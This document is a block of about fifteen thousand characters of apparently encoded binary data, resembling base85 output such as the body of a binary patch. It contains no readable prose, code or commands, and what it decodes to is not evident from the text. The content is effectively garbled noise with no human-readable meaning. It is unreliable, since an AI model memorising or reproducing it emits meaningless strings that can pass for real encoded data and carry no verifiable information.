z*t=tSFEs&HP}2$#Cf8ntTGHFZJUV+1>P2sL^9Z@29`=&VxlmtuiCzJFjSAQ+8)-RA z=Ahs88e6Ycwcm9RD&U5+#=fL8HKSV9jA~UoVNu#awF(Qn?|AeIe=KbfJ~1MEYzQOM z+72^9QWH02CT!NL__P-wXBs)0sf!6u(CAC(?FC-z1>Y*xvdw5`7we2YxAbg!`qAcM zf^mWIh8Slu(OskM*+LtS{wBD7wh_IHF0#AR=*^9I&2-^4YI< zXA>SEWD|SW>uGvPLSK5MXApa{Oi<4tOl8sxdVNOHMh3k`2EAmEq`#D#G=p9}gV@{8 zicT{K@04cH+kt|Dw;5E@3;aoSLjd99+g9}dZx=K+i8=Qt=FcZ_TPZ3w;9 z#NMCHxLth-u@&CBwjc>c-{bXoIESmF8??fx zfx!Mo_tdmiQWU;CWT*~VpRUy)`MFUJ-nk0^lF-yyjWiqLfhnTyBq7h!gk0b5q0S@G zP_q7VbPat~2%1ce1PpWzd=PRCf7A+@quWoBZ7Y;&)cK*CM#&{D>&Z3r^=W)8Jb+x& zOeVxE>`OoDT@wt2LRK13b*qbEv;JlWIFm*8bZ3+D-uFc5 zTV-@2+22Him&8XEaLWH9B$Pq+{D70lz|v6)FTwE}#&On+7zG{jAMOJ_P=5kjYjAJc zw=Q}4mgqv){b>+%{VB>Q$-lVoU2<%zry0%T0Fu_*3x?sVTnhg<9KT4`cZWqrDQmHe z{Qe`UNn}P}(e2NM!0AlEg`V`QX-VX*Zdm3!K~4{nv+p@!ZQ=K@FlgT{&vcsPU^1bW zw-!k}Daw2b9512AHOZM5RfS7~IOJ>%Zw=CMfac=gg+qNQWli0C7;50p=wF+z@{%DT zW|==}Kov4W=A8bU{ac`6aM%!|=@j+%Tjt`bLE_}-1!&xMFOAmUD45wn!?MUPxcKUD za+7{|qc2>EZVBUs!+7fO(n(WSbU*YdrNKM>S#or@CxI*+raEQiBvytqwfIzpNco;> znlOb=71#3nq7JW>$@fDB|)kQ2ILUSMO*!P zkRE!0P;+Qf`cqFk^fuY^MN}2t;7at=V7(0A(4W+;8p-G#?c%{-0{AgsKP{#XaqjoL zBHQ{{0FohbXIW+$^~VwvJSSY>#Hdtj%f`8{GumbB>*D=>yt_7}<&@z^D-gSQK%yTYrj&(l9+(vQWsqYlvf6>^!kBj8u(M)2z8yK$ z7JeqQg>_($C&a_a*&p7SQ-VfvW>j@9PVX;?f;pN0)=iPPGF zky`U&GoJKBNEKsdRL zrzaoHi`TfQd%p~| z>IQapKuXlSp#H*cXJl`Zl0e$lfuHpdLLGDzwKPti2Rky<6Z(a4dSwe`xDmS1TzMT# zK6JD~bLC*bpRA3o?gRfWy_oMYznV_^t4o~?oL=R+^0~56c}^LiG*ODlzsQH>H`HI^ea&NN&geD0jme;5 z?uvn|ICp&(d#jpgoGHb;@fu2XiMN>y)RcoQLN1BiMc|+|9jD+*@ECK^d~j9NgCEIv=Iik#dBpw5eZg%9 zXXrj|8231r#1&)zR4=Lr)whMNLL;H9!1F)zNBIDBA)f=kH8a6`&11rK;cMZ2VZHFY zFh;GLsK&bgMoqy!vZvTgEH66T=fKg;7V%rhLC0&3xsD;Qg<@&xPw9lTL&}CFRM3b} zGXmK5aKA2TseV~5jSbNu$J53odJb-1U8 zQXJ5vsuW#rq1y&1aJbYuL@Q(9aE^Y6wb>S&*_E=UnDAr^-t)0Wlcf2kVhPRu5d9>l z-6_tJqv`r3J!|QSzs%Twn(~U3%C;^v@yjOslPSM5<+m0sp*y9WG~olL{LGZbL&V-h zgAQtH1y^x+rs%S}IEGf$c+_Q0S;my5O<78pK+h&{|6b$K!r{$jF*K2+pJ*a!COOrV zolR*zC8)CKQ}WI-Ve=_@2|T3|xTAh(o0Y@~-eqnLmUa#DveDT4o*s$wZgOj+`5vt- z_I^gv4nx&E?Gvp$=}v#@(4QX{>}qCqH8Z0rZk}Y|sjdePv+!>nx5wGETVt}qRG{+}3eQ5&xC40*Khjkul(``tfHnc*4oOba{F zr^04V)tO-#@=OUk(aB*mCmGCe40$Goo#=$Hnd41n7=}FK!cKH-*vv5&^S=#wMqAYX zG~{_QZ04vS^FIxFMh2<>WymukY~~X-^S=yvhTGKtFyt8)HgjkQ^FIuEhJ;Z6-H>N+ z*vvtp%zroJ85m0aS3{lwVKe*xgZZz9JpKMb{Wn9NzF{-_{FC`_hCJ#2r2dN`Pw%jq zz3yZFiy=?X`=}2#}i7coEbh4SBT3!e+KFidm!~kJhdzYEgzfTHCOh zZHiIa>V(Q}1Ke zli5qmOjL~_hq9vDkWS-^N%f^D_6t}~L)hu;Ahr!`lN<$m$b1XCGUmbtsbg_hFfl0& zdzSwQc0SwCa`Y^Wls}59ksjlVweBF^hF#J>5Z8&bVb9?XFohm1{0`tmS1UI42}yYUVAQal4ozxIP`vMku%ycgFLHiqP2WWDsXVwG_;N7iS0 zV6fnpDGN+_$dn(L@^w?LFy-^6oNCHprtD_QM@$J5etP;aWUb36Lu&U-dCiokOnK0h z@0-%RuJ)37JkOL*nR2);1+6>GZ>0KBx7dL6yw}NLZh=W?O$JRXRwD4|v|{gzd0AeR z??bOJk1{!!JHRdD26ENG=ldRNzyWRmtD@h~N5Uw!4_gIZ%3i#fIS%VMo1$^-BDI$L zFZX^X2RUG?ufguxuD@NMxt6w^ULHQ+lxLg;k z5x#)!fS!QuXpwYCS|yDr4?AvS@h~hq9tk_#v#^uq8leH~WPg-j3puO9)q`Jsq6Spht_PS5lXbWbf{>l5^n)eBbdy2cqB!HtB*sj#%+bcg&5txxB znr@Ki1^=1%$MwSIT0zY6_jaQQ?7EK8TeMd_60}9pZ_$RX7Db!zm3ZHiI8A5Ns*?D_ zQ3bX|4Sx*E#FHd#PgEt6(LdTt`tOYzY-J^6`qy0q<|+bn7J(@iWg|H_I3940$-bV;jDoC@}ppx|`^xF;bR98EA1)El@2&`rhvzM>7ECNd@0&7tO z*4)BEmcDi=0!u3bODzKHtYfqg*vn=~%RNRpx1r!m3!x1PCTH^o29vW_+>$*9qx8aJ zLz9A0ZERu@*n}WvPm9he0-Id~_FNIztRQAD>Rnz0wyX$jX%Uz|h}lcQHx+?xECSn5 z1omnX7#LKTpR?`K?7bqecZ1Qk-}NX6TkegW6P#g00s+ah!9t za!qq>ab0kiaHq;~awmDV{2sGWzM)itN$(}fe&wz+**VI&&UxJBR1YwxkQcQ_KJ*Uy z87JVLcp?5sSS<7w%JWxY8ZMK6oR8toaIaP7CUMQcHRw@x6+4WrjsH-Ws#V;#+#k5- zHp5(#X0R_h{hdUOA!w~&f3odNC}bi2lNMyp@uypm?F*h6$rGq$@ZFsRa>dx)Q@a~5R#thy4& zTpR5}x)sWqySxh>p+SG`9xk$~UF<2&J(n5fpRm4!Zm~jg+Q+sq(+FuFz<5u8Y$4tR zNx~!gTM6+|{;UO1F- zT?PeE-#ND-4e5^5@iHh>bcf!9OQFQ+JM=DJsu!;ir()Cd)`4A1S>YI%k|!W}ue?E? z53XUl$n{|-pu1q6y3g^tdn)Oc;hkJxJ`Ijy#)6O1`e1Q)7aWo7lU|n=NfV_WQe&wM zXo?rb1K@Lb2{y!Fd~#i`SIOa2&q8fVE<<-T$&xr*#|+;)8H z$aicAl*#n&;5o+zCJq$iXfp8yZwZ(jOq=foqtvrx&vTv<*n8NNyG#j&XFC3pDd(B; zDN_zNWp`7yHf3E?mNTWtl#C&@>!v(y$}dd$fhmpa!mRAgIgmZ=1s#UNq!;Po6Z)Z` z^>E$-PZ2bSRLxHYOVdY5LZ-K5Am&ByDc!Peggy})ShOZ473p`3qj}>J%2j=Ol+=1T zW({e(*!ynYx)?B)MEjW$%x?(2h$f((pz9x1XQ)G9Bj4I;3~2mk-JgPOOlc z2efjiq%KJ29<2g7_Xz;Ejg&n5wMVg|KS_J5Sh+xl&onnSh);f`wWSts$4TbrTA9F_ zO~rN~W4bz;WS$47713luU&vy#VQT_8KAT2!e3z!whAjCJrtGQF1D)8uu1Cb)Yo;__ zEcTjq8epqSC+xkajP&UtHI*>UG`yyn2AE7#g!zB(=Z5vdD!2#o6g)%QgdqSX48_5y zjv6-zpFv4G{gE~hdrf-|FnciO?k#%`!!QDSA8Z0Zp9y*QtzvESjzGz40A>SYaSDUi zfeZS9IK|Dl3S9ZFb*>C|zI&ZJ!#&WQ;*K}GjHwywKs7~;2TQC1^4L~9pDei%Q!a4f zM$EH_w73=H3!J_c^9uO82gg}t=DnBhjGQlA4Oj z1X>kDN!Xv7QHqSoj;=yFzU*}ceCMJvU3sZMEHQ+e!0>*4D&L!L%9n-hx_*H1gEzQE z+=OL|z|G3*iEiiw3mJiVS+O}R^{Nzj>N}-8BI}PTrBN4M1ooX&mSLjx<4OfquZSIX zLU2}Krm_sFo~kqg=OHmWj1N`Hjwz*^)^f&i)73E?3czo?Q9J^Z*Tl?2c^SoE)S?f& zm?6&mm{A=45a=gSt<3!&%0E9OYRh>PlhvQZBn0Ljh`GvIbA`fMlM`XfF(bdSz1yXgAT19fv zi$@eY^N}3b2<@b!V})?8MG~e8<82)TWVVkjZII5-Uj!Nb^%_aax#y8(xL; zf=A>uBZIm+8b%y3b7~G*KRY%vtVjQkR~%9PGRNdJiTo8uc8Q@mjUVzAM|7RhIgRv+ zgZOIku85!ah@6JTSD*2r;({JcJ<~s4QhGSAd2~(#e`|?CvajLsWbtd9 zOp4Lak*l~FNgbfU{smWYU46+>LuWp0<--(XrZKAOj)7L_ymOLrLYW|6k!LuTNx9Et)n8k9_SV%>ZGGnWU57E zmzbK<^&yLXWY-y!(&mwiS%*N<+M#XC&M@A6>tmsDmRg9!8rrYEZ0aB7#J@u#ANIyr6Sqd z7rew*=o?+t82JCN4~#_UUgmeF1Ex;_EC_~*_k^=I21GkaT2~0c*}BG*!j5jy$)sd= zz!EDXgdW_w-fPS?+)9t`LkcMQN-9LtLpOri*wr_>N}zM^ z=sJjG)da5!&-Dbh+5`MGWOk30-clwf+>{p_`_+RnC054o>n znWLKYo>WHMDb^J}=D+8DW^aOavm1AY&00G$`Fx2Q|r*U`-NH%rQBWgEdJ+5l7@q3f3eM zMTDAU;zQIVkzHeI&V+}oNg}(>n4IyE)g+O>+Mzk)9|qe`099nyn3@BVMGrMV71?#h>5nMpn4E#Z(jQU85jg|Mpy}?0Usz5M;9MmDSY>Q%hWU0A`4l*Ck?WK67V-uf0wa#IRIO<)uhM4@+BTPm>Vc@{ za!q3j;hSbw=#^%2g9g=%5t*J0_)M$ps_7iA{H44oUzcByIT(?7Q~W^K3%hk@fitGr zTp9Ky&{e7}YqKKJsFidFm79)x|CRZXY zFB-kYh$4>270IA}PQ8_jC}QR#x!_79;#MxQYfQ}rtA>YahUT&l zS@0ve&gfiB))R+54HHpBDD%iD^RNA>>fM@%dPPHW2`V8cQ?)Rnc+j*F&n9(b#1Y5j z%nX+Jh^{yyXGT!3izp)Kb<-cB#7B0GsX5O+WQmXLI%9I4iM+%|c8Q@mPd`M7rwT_z z*U3v!r%B{WB6v*doy;E#3`^p{CMs#BvnpBLkgpE@x%g^iQbYK8fri@C&~_RsOG8bP z;O7)QT;G77NyO%SH*&QRKNCGcvXa0D*0RO`eAEcemu~<+U)F;|4~_FvW1v6T7(&(S z@!jhi&HLMo+Q>c3^`~pT^O|!Wm{Tp4H#^>!_K1Iqm4qJPvF2GYk$sxI&CbDV&}Qas z(lQE9r|o;ChkNPv_LSkYOPOPGD@Od%BfP}W+zJoz(&6im>^h@!%Ny-`O;NB4jlENt4=!UY;Ok|&XXLHn_#u@kwt_SKHh5KBa1mEx2#p)MHX>HZW+D4YaHoK zW_HLe?O^Ja%p6Akzv8YuFp47UPtScPnVvv6MD2;Wl=#FMFkYRICK>ebv+hQJlEr^?w;w%OuA?4H8c7A zgPxSXs`uuo_kLCN-mA)G8RaDP39<)d3s*4Do$hPM9+K^En7**yTifJqs9n-9BYSyX zPTt^wIfVmrb0*k~AWSU;! z!5pX)+#>+r_u^njmBt}-xKFsP=?iv%8wZ#OPcTb`all)wu#c=Uh)#WG&OtSLHy@?| z>x^v!s{GtsjLw`FX%J}TfN4<1v5ekm?;e-1!v^Y%je|RE93m+RB=*P`q{GGm*3lcp zg>*6f$HoEHF)%)uk?Pq9&?qz;(}A;*CmW!zXxI4k$IR%zdfQXY(;T*kv|?e)Hzwdp zrT2)heQVS0=&;WA3352_2F8b4+Zi<0h+_t4YHjm2)@`<;vy^QP`tUlF13gLMqMRQr z%dn%xlr0~<*_2^HLxflNXIP3ID@0Opf+rOo$0kQ#`?L0oY|S|D@+Hej^B1OXOnr@$ z47cKoRJZFLI!>3ZeUf@zb7FI;KB&jOei(c@hmK_n$+inT!An(4XMRS4FIa>Y-0R{`eqkNG z!NFpL)dM$L9lX1TDO?dOOsTtvX=AAj7K98;pwKdgs5(;&{gCtb+87Q(s+2{zaSl8D ze4vTJn?S(tVR0}|rNbwEGva&k1#{sR0w%%}%u#6}Kyn&`mxvbP&{Dze0zYsnI7nO# z)>WCfw0LeyxdisL>!ww&|^zjD!i8g|dz2#*W1L%w@8sIT}Mfwt|P?AH;Iue-ynt_ zCPp42My@8WrkVUos(c|;;%b^HsHDmlQYEdXN&Y#JS5oB*sS;MxB(J1;kodcQoktS! zHP>szgT6|PJRl%RcB@>k5D)q?F>=3%B&nwPFXBO8B1XO#LK0Nd+($gR84a?G4k06GEp_nXClx9)ij%lk-J(T6I9cDx&<_T zHO;4pkx#Zn#;>ONL`!JgYMMKVkvpQ0ajR)Q9tDk8P4h8gzoh>=@cBbBOY zKG+(nP)+jzV&vaskP6i_|0)BOucrAIV&wgDNcn1-TjZd!)im!TM*dkADO*hw$wK9- zY2HhW+$@ijtERb09x78!b0abG9tEUKHO&nQ(AL#7*ApYxDIr@|(_E_rZBv@ z?o#2io=dXtm%V&?*9-ZGvEa)rnj&8Css5QG1;O*k1Y7s?z97l|;Ao4ccc+_kQTL_p zV%X0MUr%+?*s**>5`JWX^57`+yU|TpHf8$c%ueV|liLoTPZhz^l=>mqFAn>mk!|3I zNR^WO&$z zK^4LJlv)CqHrNu(Xah??s+432rmL_7q(Z`$piYG);F&K>jxSgXXQVI@p5QcHk5mHb`Oh~Vl2q~ziFF08uq@a%8 zV6{L<$GBry8fX;kj;fO7j-Z0CNt!!?N%jXPrN|w@^e7KbRO60jLKo&@H03RksuAV( zm+X^ljn*420rPIt8B?b53d02b9lE{v{PK+U3hFdv*4%>kR>tb_j9w8vqeH3lWC22f z>frLE&uEYa^+BAvB&H-r3OJLjfAEaHQJT>pk-p$EX-0!OdV@>(8O_He19dG6-jJ+G z4AK}|k0nW)#4ySJ;NlcbVwfJ~!9{8&G5kBO2sWjZQ^MXh=9K<6;FP3FNt{we`4!+? zTO3qbeg!DU7lfBz0gCVhRhD0Y$!QFR%CD?jChl^Qeybvhr-GsKE8$&E7$>a`HYVK# zfi$QO&XHUYs3UekxP*&XLk+ed@dal|E(j#j8^i_naZ%YB&?S(#8L~o?w!yjG@r?a> z+mE(v>jcYc^E%VZ#@~$h7_$wlagB#E%rPppv#1+1D=@#Pz!{(nu3fJt(LHj_1d%uQ zF)sKDEtE%2$aOqShRPKhNKPY@E}j|8Ju1e0gL(%jCM}xKg>sGw-()r8O!{mBX;9BN z#DX$A2AlXyv&h{dM8AV9#x6}MkX#>wE71PQdLr#wS!6aGo}<#JD48jj8QGMg9)l&3@N2{Fl{WAjJ^%19jQ`bYRBkQY!{LW z32hfLT9wWSCdbE6aAyP);bAl?oe@Y*V{oPDj9$6H=okmJifx~8LHF%Tm~cV&Aw;h9 z(7g$v9=aDXvL`8WCEbG*N?%Nj%qB*z>`n~rMvUxAigX<#Pb5fwvJIbWL!5Atf@B*$ z*M>CVA{EIte69^)!Ub`%4c&$GyQeSWkwgg>bZ6p0I}sy03P_TK3%UdGpjpJo_9BuX z;eu{QJZL5{(j7u3PPm|H;z3=+$c!*DVZsHS9)>1LxS-RBkxmJjDB*&3NYDfc7qp!i zX^S8eBwWze2sD1e1#KZlnp+^_CtT2`7SOl}7qpQWX=sUzn{YwvTSDU{T+ljVq&5l} zFX4iwqM&gSE@%xY()C9)GG4;P@6pgW2^YT+BY%xS#!0yNUkp?^;o=u!I6;vtV;yf|(yVgjhgo|%mLlqJ(&JiQOkwGdXT%47G$|qd> zml*lA98x~v;ww3*Y{JEt#KdU+Z$)IQgo_Upp|J@U?-L_WDkF!)q*0tu zhQ=U|?@DiXzZs3#q_s7-Gngmq(9LU%{m~(W3s>*enbRrshSvNkUvhe(SY6>K%6vUa z->$cz)s)#Q-o-VR!h53g*QQ$#P2tjG_*O1!(A@o z)<31+WL{yOW*&~OKDOaHPVbm@n;tOTYMNylXUaEa;gf=ojjtFVHEu92Hr5zN8haY8 zhO>sZ(c$&!=so3x$KEo(9!lKwJS&xZep!TLe?CHi7gS~l9cI-?`% zT$vVZzI}DZG<=I`AfrQ;_Ewj!zr{bZwh33ntF526Xl_%(LaCo_O~woX*F5}=j0Hyi zWk=Ne=8Pi#)nIYN+i;s!w@LVex?L!`E#4zCldr5T+$gedu(e*iN90VQb<4*258Ik6 z^Q{xKXjL!D*1WXXYNmvXJ*eHN6qnxSZ%(&Tha<1iedkQ|sM|S{4OM<;8Yo_L(*K+Z zBl)%if8aLZdi6)YHQg`Xvhu@s`2XTtRz~NDCo*e7HMHypY)5Qn>j=x+7LWOWd4}nB zlh(M=@Q8jl4p04A+k={fa=K++t1D;vsNM4n)e|F(My+6aTT+>{1JefYdG-?2No~>& zsZ!FOXHOM-o}@y;d!9X1?s>xG_?U~~d!8^69wuAmo+n67BhwvKUSs7eP3M9-;pv`=^TCb2I}o)Ite#A@F6##j`-}Y zW3tZPpn^Lj?d%OE+0SI9=*48tsjC3s$kls)DOY5!G0*S4g3(PQj#BX1O1Q( zI@fr%(oQo~lV)*_bS!b$?SHXrY+I}^Sch0%H=j0rYy8QWYnZCP3$vA1wHm5Ob5Jvt z&;Hf%cnV`7$<16BR7DB3Tm^ zDA~_kb%7IAp%esAk85j;BbTIZu`R5JNpq>fc#vDqX0qUQ{NVhS=dit2UXsQL$ z+RNZ8nZ>)BU}7=VnwBi81=1J`zAkB03ntmmOidBhg6UDt)TpIeFhLc}l$25}m^PSd zUE2m!i&QCzYE4!_wMd18saCa0X9SbuW2)fJ2qwbAT%*DnT?X|BR`XoV2+eklU5{fk z{$`tFD>f`ZBfoL>%E68AQ=_OfY8$mkTdH+ZC$%TEoVH1C*B#ffI=^nD&S4mCu<4KK z8T~^22xMRH=#1unC$&jOL9R_wo3#7k+9tI{aQDiz zZI;@k^dZ-+GHtg=ZISVi)F$PHyB11qk?~f`wB07OIq>_H(wtqWbf38w|8^ryGo-GO zw&_yWh*(rP!QG1=twqzmgXzL(ktV-1npBt0H9~5WYQVTA%Ct?8X{(fJ8!xoQyfNx; z4qm&wLV>*%luW_z^@xdYid^RBLeyMmY}3}>?S;1`-CBuJgW3ykE7H_iQX|sVNotd> z>2dXyY3n1?)>~?m?zD0h%Cr^8wB-wJ{M(Ow#HjMM3_;~cQ>g%RMZrdDG}_nDx$*9c z(W)A^4N*>OFI2b4;6RgW+%;(Zc^o-4w#q#ft?H+>qH{IwK0+Hc6a}i>dFazBcb|yG)xc+!omn zbur<#$il+)tW4W8GHuN=ZM&p4X@%!{O{VQtp^g95MQ~`rzl0gqqUjZ>t7K|jCuQ1B zNW(>NXzPzo;S-HC9g|=ZL3g1AZwtTm2;;}U;uV=f&j{)ZNob_)KhkI|X3m21&Rzqe zzQ$kwAMz1z>`R)DxQq~q^AVR4LOt{i#K9M5;z6$`M$QZ&3GxvehzIo$BkRM+#QBIb!q9~Ih|`IYbrLdR zK4Pr|O_Yx~jTm`d1equwacTsbARn=Y7&)Z{GC@A#wJo6W^ART#Bdc2?ma zN4$m@IVlPmHy?3g6f|Bw;sj!3Wi&EQJ|aCn8mgR+NMB8i92bLB&PSxj#y}PG5$OtI zQ~aOL78AA5r|sAv3FG~q*bxfD&+o)hVV9%sUmS+N~kLmKt zqDwC-y6I7SCpi zKm$~>xROwkXDmpAdbU?&#_}Hks5hRmsMM1wEH6PFeQXbL!oDz4%wGfb_OcgC`D>t# zc#dW#YmPz%cTd_Jg-Q0a-7avBD&?=i^eAV$s%4KbK^1J5l(I*dHkdtL)CTO4R4Iu) zc2>b2Nri;jV<(mD5hlmSc7(G>mQ03D?buOSCrr7oZaik)S2*y0C zSzJm;ts^Rvz3Lpc*r>-o_*h176wdB}sh`EV1?E_cJs7AbA2ykfW7$!+RhF5}Pt>_~ zXq)T0nZ_H?jCxm(=6k%Zg{A>2vfJ2UDu4SWApYQEFNOd1VIn;2P?f)Zkeo(#h`4fc zGU7Hrs5f3YmBdZ}7?rDLaj6`&6X0_B2>{Zdo-K+nF@Eg?>W!J$U}^0H>gi((qp29E zx0fvtclyWoF$+8Wpx&5|DCC|z+2lpy?|z?%Bni3SOFZZc z#K`AENP>|2=ZFX0LyY`q7@0Waes>s}Fy#JOV&pRtGGWMlvjj~Pa=(ih`E&%CDCGXB z2sA;+{gcGVCt4sAgxv3J0gWGWzk?Y0cuQpbko(74LgR+q|AQF$XcRJT$o(Tx(0C#D zezm*vIU@N3z z$o&JYph_Y4edBR9z+Wkc>a%0lHr?(ZQ+ZjeXHh1{=~hsuQ9uOmjTRY1yw+~2JLZ5?ud7cufr zO32nB_jf8mTZP=;L5y6Zh-?*df4d?yHspRaG4eKL2jW1Zk*kQ2E8`)(QQ}v`gGM2jt4ugxC#c-@$CGjZ-pfCIaQVzUPwjp0Ak6Tz$OjIl0%U+LmerhhpL3*%` z*fz{el5GGBZb+7G07~|=p48X|pdRIHy-M2v6jZ^^NTqE6YJ+XV^wir1Vx=V8PzSUP zIE;Z=br4bbs%f|CvCCfb$V{8*N2f=Rqbd3_(s zhSq$CFFzJacz*RezSLNFHSoM?E;@Q1-+L@n?|l0A@T>cA+s3_HtY`+l9$Bd0Ir95Z ziv_3X!|J-Z3*{K+(LV`)`iT=O$0R2emIO2(enP5*4&v^(4sDxZowzQ{N6C0ip+Xy*ZI zKYsW~)7~&DR68|yN(S2SN4kKDG#%hkqj1Ma(<^EcIq-D?|I{_ID?}qWytbWS1ch>( zCHaJ#RTR6NH-eQsHxx>RmgJQXkxFd+a9xcgTR)Hn_3Vw&)(_MhTfb$J^#k?vu}ekk zmwvO5!2$c+yzC8<^#h5;MrcX0tRGbH;-pzWm}Eb@=mM>uLIwxyI}4PvO=`(F>Wy6y&LwO= zYbCU!HEpuyI?aAf+MqPO^MrGUbG37-GtXXRci2wbp0%yBHQ0vQGOV9jpR;bX&a#fM zW?H_q?6V+?&obK5!F<-d-+aGjzj=)LBGY%KS4}G)FfB4&W$JGH(Rj%CuyLvJYGY5s z{|rZTH3rVG+%VD5SO16p9sMKvfWF$iAnjf4llp;r9lqP(aoufckEY%1?BV#IUObUs2fCg6e}jC#k+@DF2U(|7Y(BY66;jg6fAVkKum=$alx7iT$L36O8NDqkTv4K)=36 zT}u{}_!IHa7Gk7XK#~L{x=qA`8i|nx5lIk~=%$DVjeNHWz5@D>(3k{4iNBMIr+*_x z{u)Lm4oduA7@9CB@fTv`&k{0WP~wjgG|@-;12OXZ2r^Mn;`s=3AQJ>7 zo@)V(AC&kFG4gCnWc;AS|F(q24NCl)82MEcGHy`fmr>AoL5W`wBmWbPj2D#nc{Efx zDABDYMbe+fAmaojo{51f2PJ+&j65BSR1Qk~I2NiHlz565`B5vRVo>6Tt)NOliT@@> ze$X1J6qNXWYp6m{;z?rU2^pk9P~veJsC-c3F=FI?AGyHj*$Fr498cWU#@=!Ut!9* zR4$K&I)Eklgtw&oxD5F67$(BQrK?;XgXA=F8@G1ILET2%giTsd-vGrq(SofszQFW$ zD}PmdK5UP-n!`oqlDs?yX;9DEqnF2^-hnI*9jP(%rFLL%+{am?H)=s*y_`kbs0DQl zlyT-{ZPY>qo07Is3zO{Uj2F03J4WG{3Z_Rnhki4<$MqmFz-ap9%ueV|liLoTQWc!u zlFArg*t@n=aymhs)W-OdDiz+R<+LjHX-S2I_Gvjvr6YpL@o^fsBZ7(Wuq#zKB0fSF zBxl#ic5BUO-A$Q}=FbLD9dsK@w|2X?*lI&>^`OS0Zn;)lv#vjNGlf1JYPF*O^`(A8 zBl}W2QQa{7=XZUmaVWjYZAGv2p|Vl>(M*dqy^22^E;T=_LDSx}P260gy`;Iao2i2t zbqG+MkasP$80}k2b*3H{9;jd))w$WYnmS9N!0q_u(*f!Us=33h)YlZ^)=^#1+;!9t z>S?s|HmWnKTt{7m_Vca$pSb~*q5oWOwZ}I?RX}3CQo;2~sab$&gUv$EHZTjMN}0te zJDNj*cddjb`rK$^COUhY7~VrFC~O)oR%sewa(rAi+%&*Mc)0E=OasrCKyn(nZlOX% zi^Na@P;bmqyP}LgTZ*W`=-k6*fv3V~ZZ(I?*Cm;!f;6b-E{gC}KA;TL8}ro8QbYl$ zr;qCtO;ka>ySMZ`l{D50lkDf(Um$B$3NL`^QO>nf z>z`nPD!9y)`X`t+*gv`3z(0{HCDB$INLzUhMk++`O}jp_t}~-m9cTyI{+0GW8*{F; zq2r%xKSR$%vLF@ANp249c;%_;4Cv}%#df)<_9EuGPIc62VUk{hBlBj~-Nh6mh64hB> zh${n7Z%kBkC8F9}+)#xv-D)l;=|mNzK|Oa#G*Jch#zb|HL{vdNecZrkq6+Hm~&1BueAMQ`;+xy%M<2jOy^9UjTMGf`rW#hFek~SUZ$!vyET(Gly=e8a}%TIflzds zID|cmn;^{tP){FMDb9nr*7i=`5QBPqx$(k+4TbKAgZ0M0$*Yq!89-`d!Q+xP8DNtA z+}IRN2ACeBxC-E8;5i^nMmcwtS`G*kRKZ=DQVs~y26I4M_yJSW)Sh9GDkX8iaFc10!PP^Kp2ax=5P^- zB=1&&G^poFqn#h9Hzt82CFcj~>ElL3lR!{!FE>2e`GI<4A2cl1`4NR|XD^@L^+MLD zR_iFum6{(k)~=RcEypdpEE_HJEn_YHEG9FWw>L9)ykV)K%8+kJ*MF^lP0#6X)lb(C z*LTwWq)Or*-m)kVYWWjJ{vzy?RRBsGk(Oanc39W;^VaVI4(Zk5Fh)+$MeFY`T6~sx9as8 zjs7cC`D$jDX3uMxU+O8hFshdR8G~Hi@y1ui0X#bWj_{|Jeo1&{(L4FW%5k~^P0Om* zhAL#<;mnJawQj~`t#@fr&QneUdie;|1HJn$^=tF$cc}4H^F2qYH??SUuAxWs^+OFm zQE1=@LqDYB|2aM!|MT-;{Lkb3tLhPk?dYK;_CBbh$Z!qnJ=k!x`RP1EZwh^Rgj$Y* z$Ef$v{v%XRYWJ@7_Vs2ocDw$C&2O4*Xe*~*fSwDc+tD^g--Ob2Hd}MiLwX;Dx@c_< z^z2rB9vXBV-YVSucl{s={o8;W1CQ%hqJ59+3()un@Mhn?9@9U8=Jj$}QQ2es5bKOK zWO__rC~OdF9e<$QPj&fd_+|_!`b1YchUehzG@~_XJ)I9aa~)UMC)=i3k>y46x8`1^ zI^!(EgZlUMjk;fTb(n*9rM6K0F*y3afQOr<((nsaR7iIO8#%9N_`5wR22+80W5a)a ztl`J0xJ84AR}Ix1E{c+5!w=G+o@Z4aZpx$0?h7?Z)>WFPV zE(uc7DR4E~(9>Ot_Es4>&L!Bx^2peHsNlM!EqGv({akH|7CbOLMsd?rEO=lt%DL;* zE_h&qD!8dBUGTuP!3&<6HdyeGDkUv=rl?);kV*!7&c0rkdy@0wV@2U{^!bGQhKTE911_MRx%*2u00Z5z#~Zjr%(D5tfT z_-b;Ey9TX4kIz5HR=KB&1xC)*xcdlg)KCtK5Br@*>k}-35G84cc*9XGK3v z!(D_|`=`0{DO`Z*P3u+xkkiSj>9!KF!8IQF^zzAhx`W?3q)?44Ah6^wkehWg-WMN^> z6xY9TyG80=B6i1O9|?=i6SBDrN^sjAsZCh678aCDp);g5Vb@z|6FyhrqY?rG1UY8~ zbwKl^{jfUD5mKn*FrJcu8k&KKJF_a@A1p)DIz z^w}u)9eYny_YWK`kp8~?I{YO>^3&;=DC2#5zl}TYu{J;czWo~ApiE7R zxhY*V!L-4PCSMyYnn;zB7EO)n{U78PzL=Y%+W$f1__*0H|2F}13epcvSpV_+jSiDe zlh)r^<5*{Z)ppcov5vI7V`(tIYOXh}G3odul2b-~fZAqj?Rp@jp?aG&1+E96LH#yM ztm^^v4rFaJ3$BMR$prG+zHO+x(Vc_%AO&z|?>4l-=pKL`Tw~*Jw}nX#lx;I4&-*|= ztg>x5F)wM}2O`wX?sPN0hkU8KSnzvfp`xb_89SgiPZ~Qa1(Som^uVZXT2ugVR+L-rGwHTaMcSI^46Krd%y3!mp@L{+5POY_FBL7oBT}^^Dk!=MDXDZ zL-Gn^+L7?m>~~D*fVzaSQ_3{QEaIR2`benQNM(QI$gncy`Fy!-NyN0!Jm)T|bY&9c zZMCuJaJ7%|r&*?cWxS-$QyZ8s8oTuOlsvPR*2G|y=TxHI*XGIp)}Gg!89$hXMw0o1 zc2eD{&r{yjFU#K;E6gtHeSN65T^*}j)57F!N^Nt2*}?e1Xr`~y?yG;QBbCpU26Bqj zRJg_$a_wl@8!6)@I<*xPPIASOmf%ct#gKG=VbfUB!e7!j61H4YTL}>?4lW4_KX=DU zBk-GktHrj5gR5zTpj^P$wNQ9ojT6lGu+$7VxWyA28m)Z6n047+bn4iwiDRZs!BP_- zwN$7>9{BTG*5!Y|gmwPZwvn;M08M8i!`Y^G(P=rD{>^`0awgcXkb1=B_1CoI$<<&- z#EHobp(Is}j?z9v*>JJ-?dqd)rcT2)rj4AyM`Ln%u;!drJve-;4NgiUxy3k07`f5y zxhWXRe<47yNnO;xhp3%LGP!~Uy`OF@fK>DFLGti}fTkB4weozc+6U}pOyOq=) 